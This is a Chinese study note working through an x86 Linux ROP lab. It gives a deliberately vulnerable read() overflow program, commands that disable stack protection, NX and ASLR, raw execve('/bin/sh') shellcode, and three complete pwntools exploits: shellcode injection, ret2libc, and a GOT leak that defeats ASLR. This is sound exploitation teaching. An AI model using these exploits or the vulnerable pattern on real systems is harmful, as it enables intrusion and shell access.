ROP-x86

ROP-x86

文章:一步一步学 ROP 之 Linux_x86 篇 - 阿里聚安全 - SegmentFault 思否

Lab Code: zhengmin1989/ROP_STEP_BY_STEP: 一步一步学ROP (github.com)

思维导图: siyuan://plugins/kmind-plugin?data=%7B%22name%22:%22rop_x86%22%7D

注意:

  • 因为做过修改, 所以命令行的目录路径可能不同, 但是gcc主要的编译参数没有问题.
  • 使用思源编写, 有些超链接是思源的格式, 会出现错误

由于思维导图是插件构成, 导出图片

rop_x86_2024_1_12

Control Flow Hijack (控制流劫持)

常见的CFH:

  • 栈溢出
  • 格式化字符串攻击
  • 堆溢出

常见的防御方法:

  • DEP(堆栈不可执行)
  • ASLR(内存地址随机化)
  • Stack Protector(栈保护)

实验代码

该实验没有防护措施, 可以直接攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

编译指令, 关于两个保护:

  • 栈溢出保护: Canary在栈中保存一个特殊值, 监视栈是否溢出
  • 堆栈禁止执行: 在CPU层面上启用, 将某些内存区域标记为不可执行.
1
2
3
gcc -fno-stack-protector -z execstack -o level1 level1.c
| |
关闭栈溢出保护 关闭堆栈禁止执行

关闭当前Linux系统的ASLR保护

1
2
3
4
sudo -s
功能:
echo 0 > /proc/sys/kernel/randomize_va_space
exit

需要指出的randomize_va_space的功能, 这个文件本质上相当于一个变量, 用于开关ASLR, 变量值就是文件内容, 总共有三种模式:

  • 0 = 关闭
  • 1 = 半随机. 共享库, 栈, mmap()以及VDSO将被随机化
  • 2 = 全随机. 在1的基础上加入了堆随机化.

参考: Linux下关闭ASLR(地址空间随机化)的方法_linux关闭地址随机化-CSDN博客

最终的编译指令 (注意由于WSL是x64环境, 所以编译选项中还需要添加-m32来显式指出编译为32位程序.)

1
gcc -fno-stack-protector -z execstack -m32 -no-pie level1.c -o level1

运行 & 确定偏移点

pattern.py

实验提供pattern.py代码, 需要使用python2运行.

pattern.py使用说明:

  • python2 pattern.py create 150

    • 生成长度 = 150的测试字符串
  • python2 pattern.py offset 0x11111111

    • 根据内存出错地址判断返回地址的栈偏移, 返回的值就是要填充的长度

确定偏移点

使用pattern.py生成字符串

1
2
python3 pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

运行程序, 并使用字符串. 返回地址被字符串覆盖, 返回到一个非法地址0x37654136

1
2
3
4
5
6
7
8
9
pwndbg> run                                                                                            │
Starting program: /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1 │
[Thread debugging using libthread_db enabled] │
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". │
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A│
d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 │

Program received signal SIGSEGV, Segmentation fault. │
0x37654136 in ?? ()

再使用pattern.py识别返回地址, 并确定填充长度

1
2
3
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ python2 pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

构造shellcode

由于程序中没有现成的函数调用execve("/bin/sh")​, 所以需要自己构造shellcode.

生成shellcode的方式:

  • Metasploit Framework(MSF)[^1]生成
  • 自行构造并反编译
  • Shell-Storm上查找shellcode

shellcode1

教程中给出的shellcode解析

1
2
3
4
5
6
7
8
9
#execve ("/bin/sh")
xor ecx, ecx # ecx = 0
mul ecx # ecx自乘, 0 * 0 = 0, eax = 0
push ecx # 压入一个00 00 00 00 作为字符串的'\0'
push 0x68732f2f # 压入字符串
push 0x6e69622f # 压入字符串
mov ebx, esp # 字符串指针作为参数1
mov al, 11 # 调用号
int 0x80 # 系统调用

payload的大致分布

1
2
[shellcode]["AAAAAAAAAA..."][ret_address]
^---------------------------------------|

确定payload偏移

由于栈的内存分布在不同的环境下不同, 所以调试下栈的分布与未调试的栈分布不同. 如果想要执行shellcode, 就需要ret_address返回到正确的字符串头地址.

开启core dump

在未调试的情况下开启Core Dump环境[^2]

1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

然后运行程序, 并字符串覆盖返回地址, 构成内存错误, 此时会生成core文件.

注意: 这个内存错误必须是直接执行时触发, 而不是在调试的时候触发. (否则core dump下来的还是调试时的栈地址)

1
2
3
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ ./level1
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

gdb调试core文件

1
$ gdb level1 /tmp/core.1695222277

计算栈空间: 由于retn​实际上是pop eip​, 所以ESP指针在返回地址的下面. 所以字符串的起始地址 = $esp - 144

1
2
3
4
5
6
7
8
9
---------------
|
|
填充的140个字节
|
|
---------------
返回地址 (4字节)
--------------- --> ESP

使用gdb查看内存数据, 发现了特征字符串头, 也确定了ret_address = 0xffc7c700

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/10s $esp - 144
0xffc7c700: "ABCD", 'A' <repeats 149 times>, "\n\361\367\031\205\313\367\241\312\307\377p"
0xffc7c7a6: ""
0xffc7c7a7: ""
0xffc7c7a8: ""
0xffc7c7a9: "P\361\367\031\205\313\367\001"
0xffc7c7b2: ""
0xffc7c7b3: ""
0xffc7c7b4: "d\310\307\377l\310\307\377\320\307\307\377"
0xffc7c7c1: "\020\354\367\273\221\004\b\001"
0xffc7c7ca: ""
pwndbg>

重新确定ret_address

看错了core文件 (看成了调试的core文件), 导致ret_address一直都是错误的.

ret_address = 0xffffc7b0

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/10s $esp - 144
0xffffc7b0: '1' <repeats 30 times>, 'A' <repeats 110 times>, "2222\n\310\377\377"
0xffffc845: "\220\372\367 \320\377\367\031\005\332\367\215\312\377\377p"
0xffffc856: ""
0xffffc857: ""
0xffffc858: ""
0xffffc859: "\320\377\367\031\005\332\367\001"
0xffffc862: ""
0xffffc863: ""
0xffffc864: "\024\311\377\377\034\311\377\377\200\310\377\377"
0xffffc871: "\220\372\367\273\221\004\b\001"

第二次回顾记录

在第二次回顾实验的时候发现, 直接运行level1触发内存异常的core文件的栈地址仍然与pwntools中运行的栈地址不同. 需要在运行pwntools后查看对应的core文件才行.

正常运行level1的core

image

使用pwntools运行level1的core

image

所以正确的retaddress = 0xffffc1f0

编写exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

conn = process("./level1")

ret = 0xffffc7b0 # first time
ret = 0xffffc1f0 # second time

shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"

payload = shellcode + b'A' * (140 - len(shellcode)) + p32(ret)

conn.sendline(payload)

conn.interactive()

Ret2libc - Bypass DEP (通过ret2libc绕过DEP防护)

  • DEP(Data Execution Prevention): 即数据执行保护. 软件级别的DEP保护有NX保护, 即限制特定内存不可执行, 比如说堆栈不可执行.

思路总结

前置条件:

1
2
3
4
5
6
7
8
╭─lamecrow@LAPTOP-PUE31HT9 ~/code/c/pwn/zm_rop/lab2
╰─$ checksec level2
[*] '/home/lamecrow/code/c/pwn/zm_rop/lab2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • Stack’s canary: 关闭
  • NX: 开启
  • PIE: 关闭
  • 程序中没有出现system函数和字符串

流程:

  • 找到溢出点 (因为无需使用shellcode, 直接可以跳转到system, 所以不需要找到在堆栈中的起始地址, payload构造起来也相对简单些)
  • gdb调试, print命令找到system的函数地址
  • gdb调试, search命令找到”/bin/sh”字符串地址
  • 确定system的返回地址, 一般是随意的
  • 构造payload: 填充 + (当前函数返回地址 -> system) + (system函数返回地址 -> 任意地址) + (参数 -> "/bin/sh"字符串地址)

实验代码

实验代码不变, 只在编译时开启NX保护

1
gcc -fno-stack-protector 

确定ret_address

因为重新编译过, 输入字符串在栈中的位置会发生改变, 所以需要重新校准.

首先输入字符串覆盖返回地址, 造成内存错误, 并生成coredump文件.

1
2
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ ./level2                                                         
111111111111111111111111111111AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2222 Segmentation fault (core dumped)

然后使用gdb调试, 查看字符串起始地址, 也就是ret_address的值

1
2
3
pwndbg> x /10bx $esp - 144
0xffffd2b0: 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31
0xffffd2b8: 0x31 0x31

修改后的exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 1 from pwn import *
2
3 conn = process("./level2")
4
5 # level2
6 ret = 0xffffd2b0
7
8 shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
9 shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
10 shellcode += b"\x0b\xcd\x80"
11
12 payload = shellcode + b'A' * (140 - len(shellcode)) + p32(ret)
13
14 #pause()
15
16 conn.sendline(payload)
17
18 conn.interactive()

运行该脚本, 得到错误输出, 信号是SIGSEGV, 说明是访问了非法的内存, 也就是执行了没有执行权限的栈内存.

1
2
3
4
5
6
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ python3 exploit.py
[+] Starting local process './level2': pid 30225
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
[*] Process './level2' stopped with exit code -11 (SIGSEGV) (pid 30225) [*] Got EOF while sending in interactive

验证NX保护

level2栈权限

在exploit中使用pause(), 暂停进程并记录PID

1
2
3
4
5
6
7
8
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ python3 exploit.py
[+] Starting local process './level2': pid 1200
[*] Paused (press any to continue)
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ exit
[*] Process './level2' stopped with exit code -11 (SIGSEGV) (pid 1200)
[*] Got EOF while sending in interactive

然后查看该进程的内存映射, 最后一行stack的内存权限是: 可读可写且为私有段(s表示共享段), 但是不可执行.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ sudo cat /proc/1200/maps
[sudo] password for lamecrow:
08048000-08049000 r--p 00000000 00:4c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
08049000-0804a000 r-xp 00001000 00:4c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
0804a000-0804b000 r--p 00002000 00:4c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
0804b000-0804c000 r--p 00002000 00:4c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
0804c000-0804d000 rw-p 00003000 00:4c 7881299348170901 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
f7d7f000-f7d9f000 r--p 00000000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7d9f000-f7f21000 r-xp 00020000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f21000-f7fa6000 r--p 001a2000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa6000-f7fa7000 ---p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa7000-f7fa9000 r--p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa9000-f7faa000 rw-p 00229000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7faa000-f7fb4000 rw-p 00000000 00:00 0
f7fbe000-f7fc0000 rw-p 00000000 00:00 0
f7fc0000-f7fc4000 r--p 00000000 00:00 0 [vvar]
f7fc4000-f7fc6000 r-xp 00000000 00:00 0 [vdso]
f7fc6000-f7fc7000 r--p 00000000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fc7000-f7fec000 r-xp 00001000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fec000-f7ffb000 r--p 00026000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffb000-f7ffd000 r--p 00034000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffd000-f7ffe000 rw-p 00036000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]

为了验证, 重复上述步骤查看level1的stack

level1栈权限

首先添加pause(), 并运行exploit.py

1
2
3
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ python3 exploit.py
[+] Starting local process './level1': pid 12907
[*] Paused (press any to continue)

然后查看其maps文件, 最后一行的stack的内存权限是: 可执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ sudo cat /proc/12907/maps
[sudo] password for lamecrow:
08048000-08049000 r--p 00000000 00:4c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
08049000-0804a000 r-xp 00001000 00:4c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
0804a000-0804b000 r--p 00002000 00:4c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
0804b000-0804c000 r--p 00002000 00:4c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
0804c000-0804d000 rw-p 00003000 00:4c 45317471250514877 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
f7d7f000-f7d9f000 r--p 00000000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7d9f000-f7f21000 r-xp 00020000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f21000-f7fa6000 r--p 001a2000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa6000-f7fa7000 ---p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa7000-f7fa9000 r--p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7fa9000-f7faa000 rw-p 00229000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7faa000-f7fb4000 rw-p 00000000 00:00 0
f7fbe000-f7fc0000 rw-p 00000000 00:00 0
f7fc0000-f7fc4000 r--p 00000000 00:00 0 [vvar]
f7fc4000-f7fc6000 r-xp 00000000 00:00 0 [vdso]
f7fc6000-f7fc7000 r--p 00000000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fc7000-f7fec000 r-xp 00001000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fec000-f7ffb000 r--p 00026000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffb000-f7ffd000 r--p 00034000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffd000-f7ffe000 rw-p 00036000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
fffdd000-ffffe000 rwxp 00000000 00:00 0 [stack]

思路梳理

  • 当前问题: 无法在堆栈中执行代码, 而字符串也是用push的方式存入堆栈的, 所以当前面临两个困境

    • 无法执行system
    • 没有”/bin/sh字符串”
  • 解决: level2调用了libc.so库, 并且libc.so保存了大量可利用函数(解决问题一), 如果可以让程序执行system(“/bin/sh”), 也可以获取shell.

如果关闭ASLR(数据段地址随机化), system()函数在内存中的地址不会发生变化, 并且libc.so中也包含了"/bin/sh"字符串, 并且这个字符串的地址也是固定的.

find system & “/bin/sh”

使用gdb调试level2, 在main函数处下一个断点, 因为libc动态库需要程序运行时才加载到程序内存中, 在程序运行到main函数时libc已经加载完成.

1
2
3
4
5
6
7
8
9
10
------- tip of the day (disable with set show-tips off) -------                                                                                                               │
Disable Pwndbg context information display with set context-sections '' │
pwndbg> break main │
Breakpoint 1 at 0x80491ca │
pwndbg> run │
Starting program: /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2 │
[Thread debugging using libthread_db enabled] │
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". │

Breakpoint 1, 0x080491ca in main () │

使用print打印对应符号的信息, 找到了system函数的地址

1
2
pwndbg> print system                                                                                                                                                          │
$3 = {int (const char *)} 0xf7dc7150 <__libc_system>

使用search全局搜索, 找到”/bin/sh”字符串

1
2
3
pwndbg> search -t string /bin/sh                                                                                                                                              │
Searching for value: b'/bin/sh\x00'
libc.so.6 0xf7f3c0f5 '/bin/sh'

编写Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
 1 from pwn import *
2
3 conn = process("./level2")
4
5 system = 0xf7dc7150
6 ret = 0xdeadbeef
7 shell = 0xf7f3c0f5
8
9 payload = b'A' * 140 + p32(system) + p32(ret) + p32(shell)
10
11 conn.sendline(payload)
12
13 conn.interactive()

为什么payload要这样排布, 应该代入到调用system的上下文中:

  • 首先会将字符串参数压入栈中, 所以”/bin/sh”的地址会在最下方
  • 然后call指令会将返回地址压入栈中, 所以倒数第二个是最终的返回地址, 但是已经调用system创建子进程了, 所以父进程的返回地址就无所谓了, 可以随意构造
  • 然后最上方的system地址是retn的返回地址, 在retn后实际上是pop了一次, 所以esp会推到ret处, 再观察栈中内容, 会发现和call后的栈内容一样 (特别是返回地址, 字符串参数的偏移是没有错误的) , 所以后续system不论是获取参数还是返回都是正常的.

ROP - Bypass DEP and ASLR (通过ROP绕过DEP和ASLR)

  • ASLR(数据地址随机化): 在checksec中叫做PIE(Position-Independent Executable).

实验代码

仍然是level1.c, 打开ASLR保护

1
2
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space

编译命令

1
gcc -fno-stack-protector -m32 ../lab1/level1.c -o level3

使用checksec查看安全属性

1
2
3
4
5
6
7
8
╭─lamecrow@LAPTOP-PUE31HT9 ~/code/c/pwn/zm_rop/lab3
╰─$ checksec level3
[*] '/home/lamecrow/code/c/pwn/zm_rop/lab3/level3'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

验证ASLR

测试level2的exploit脚本

无法获取shell

1
2
3
4
5
6
7
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ python3 exploit.py
[+] Starting local process './level3': pid 9736
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Process './level3' stopped with exit code -11 (SIGSEGV) (pid 9736)
[*] Got EOF while sending in interactive

debug脚本

编写一个测试用的pwntools脚本

1
2
3
4
5
6
7
8
9
10
11
 1 from pwn import *
2
3 conn = process("./level3")
4
5 payload = b'A'
6
7 pause()
8
9 conn.sendline(payload)
10
11 conn.interactive()

进程1地址空间

然后查看其maps文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
lamecrow@LAPTOP-PUE31HT9:/mnt/c/Users/17495$ sudo cat /proc/19314/maps
[sudo] password for lamecrow:
08048000-08049000 r--p 00000000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
08049000-0804a000 r-xp 00001000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804a000-0804b000 r--p 00002000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804b000-0804c000 r--p 00002000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804c000-0804d000 rw-p 00003000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
f7d2e000-f7d4e000 r--p 00000000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7d4e000-f7ed0000 r-xp 00020000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7ed0000-f7f55000 r--p 001a2000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f55000-f7f56000 ---p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f56000-f7f58000 r--p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f58000-f7f59000 rw-p 00229000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f59000-f7f63000 rw-p 00000000 00:00 0
f7f6d000-f7f6f000 rw-p 00000000 00:00 0
f7f6f000-f7f73000 r--p 00000000 00:00 0 [vvar]
f7f73000-f7f75000 r-xp 00000000 00:00 0 [vdso]
f7f75000-f7f76000 r--p 00000000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f76000-f7f9b000 r-xp 00001000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f9b000-f7faa000 r--p 00026000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7faa000-f7fac000 r--p 00034000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fac000-f7fad000 rw-p 00036000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
ffe75000-ffe97000 rw-p 00000000 00:00 0 [stack]

进程2地址空间

动态库与进程1的地址空间不同, 但是level3程序本身在虚拟内存中的位置是固定的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
lamecrow@LAPTOP-PUE31HT9:/mnt/c/Users/17495$ sudo cat /proc/19863/maps
08048000-08049000 r--p 00000000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
08049000-0804a000 r-xp 00001000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804a000-0804b000 r--p 00002000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804b000-0804c000 r--p 00002000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804c000-0804d000 rw-p 00003000 00:4c 56013520365443640 /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
f7cff000-f7d1f000 r--p 00000000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7d1f000-f7ea1000 r-xp 00020000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7ea1000-f7f26000 r--p 001a2000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f26000-f7f27000 ---p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f27000-f7f29000 r--p 00227000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f29000-f7f2a000 rw-p 00229000 08:20 23205 /usr/lib/i386-linux-gnu/libc.so.6
f7f2a000-f7f34000 rw-p 00000000 00:00 0
f7f3e000-f7f40000 rw-p 00000000 00:00 0
f7f40000-f7f44000 r--p 00000000 00:00 0 [vvar]
f7f44000-f7f46000 r-xp 00000000 00:00 0 [vdso]
f7f46000-f7f47000 r--p 00000000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f47000-f7f6c000 r-xp 00001000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f6c000-f7f7b000 r--p 00026000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f7b000-f7f7d000 r--p 00034000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f7d000-f7f7e000 rw-p 00036000 08:20 23192 /usr/lib/i386-linux-gnu/ld-linux.so.2
fff89000-fffab000 rw-p 00000000 00:00 0

ASLR破解思路

  • 首先泄漏libc.so某些函数在内存中的地址
  • 根据泄漏的函数地址 + 偏移量计算出system()函数和”/bin/sh”字符串在内存中的地址
  • 栈, libc, heap的地址都是随机的, 但是程序的内存地址是固定的 (这个在maps文件中也体现了, 观察上面的两个maps文件, 发现对level3的映射是固定的)
  • 可以通过GOT表找到write()函数地址, 然后根据固定的偏移找到system()函数

image

使用objdump查看PLT信息

查看objdump的plt表反汇编数据, 因为system和read, write都位于libc中, 属于导入函数, 需要使用plt表, 所以首先查看plt表的信息.

由于程序本身没有调用system, 可以先找到write(read也行)函数的地址, 然后通过固定的偏移找到system()函数.

这里涉及到了延时绑定技术, 在CSAPP和程序员的自我修养中都有提到, CSAPP较为简洁, 但是也够用了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ objdump -d -j .plt level3

level3: file format elf32-i386


Disassembly of section .plt:

08049030 <__libc_start_main@plt-0x10>: // 特殊条目, 用来跳转到动态连接器中. 所以它没有符号, 而是用__libc_start_main@plt加上一个偏移值表示
8049030: ff 35 04 c0 04 08 push 0x804c004
8049036: ff 25 08 c0 04 08 jmp *0x804c008
804903c: 00 00 add %al,(%eax)
...

08049040 <__libc_start_main@plt>:
8049040: ff 25 0c c0 04 08 jmp *0x804c00c
8049046: 68 00 00 00 00 push $0x0
804904b: e9 e0 ff ff ff jmp 8049030 <_init+0x30>

08049050 <read@plt>:
8049050: ff 25 10 c0 04 08 jmp *0x804c010
8049056: 68 08 00 00 00 push $0x8
804905b: e9 d0 ff ff ff jmp 8049030 <_init+0x30>

08049060 <write@plt>:
8049060: ff 25 14 c0 04 08 jmp *0x804c014
8049066: 68 10 00 00 00 push $0x10
804906b: e9 c0 ff ff ff jmp 8049030 <_init+0x30>

查看链接信息

1
2
3
4
lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ ldd level3
linux-gate.so.1 (0xf7f36000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cf1000)
/lib/ld-linux.so.2 (0xf7f38000)

找到动态库文件后, 将其复制到当前文件夹, 方便后续使用.

编写exploit

分步解析exploit.py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 1 from pwn import *
2
3 libc = ELF("libc.so")
4 elf = ELF("level3")
5
6 conn = process("./level3")
7
8 # 打印PLT表中, write()函数对应的条目地址
9 # 打印出来的地址可以到objdump中验证, 可以发现与PLT表中对应条目的地址相同
10 plt_write = elf.symbols['write']
11 print('plt_write = ' + hex(plt_write))
12
13 # 打印GOT表中, write()函数对应的地址
14 # 打印出来的地址可以到objdump中验证, 与PLT表中第一个JMP的跳转地址相同
15 got_write = elf.got['write']
16 print('got_write = ' + hex(got_write))
17
18 # vulnable_function()的地址通过gdb或IDA查看
19 vulfun_addr = 0x08049186
20 print('vulfun = ' + hex(vulfun_addr))
21
22 # 填充 + 目标函数地址 + 返回地址 + 参数列表(1, got_write地址, 4)
23 # 实际上就是调用了write(1, got_write绝对地址, 4), 把运行中的write()绝对地址输出到st d_out中, 这样就可以接收得知函数地址
24 payload1 = b'a' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(got_write) + p32(4)
25
26 # 输入payload
27 print("\n###sending payload1...###")
28 conn.send(payload1)
29
30 # 通过write()函数, 标准输出了write(()函数的绝对地址
31 print("\n###receving write() addr...###")
32 write_addr = u32(conn.recv(4))
33 print('write_addr = ' + hex(write_addr))
34
35 print("\n###calculating system() addr and \"/bin/sh\" addr...###")
36
37 # 首先获取库基址, 然后再加上system的偏移, 得到了实际system()的实际地址
38 system_addr = write_addr - libc.symbols['write'] + libc.symbols['system']
39 print('system_addr = ' + hex(system_addr))
40
41 # 搜索elf文件libc库, 与上面同理
42 binsh_addr = write_addr - libc.symbols['write'] + next(libc.search(b'/bin/sh'))
43 print('binsh_addr = ' + hex(binsh_addr))
44
45 # 由于上一次payload最终又返回了vulfun, 所以又再一次读取, 这一次构造system调用和sh的 字符串地址
46 payload2 = b'a' * 140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
47
48 print("\n###sending payload2...###")
49 conn.send(payload2)
50
51 conn.interactive()

[^2]: # Core Dump环境

# 配置代码

来自: 确定payload偏移[^3]

1
2
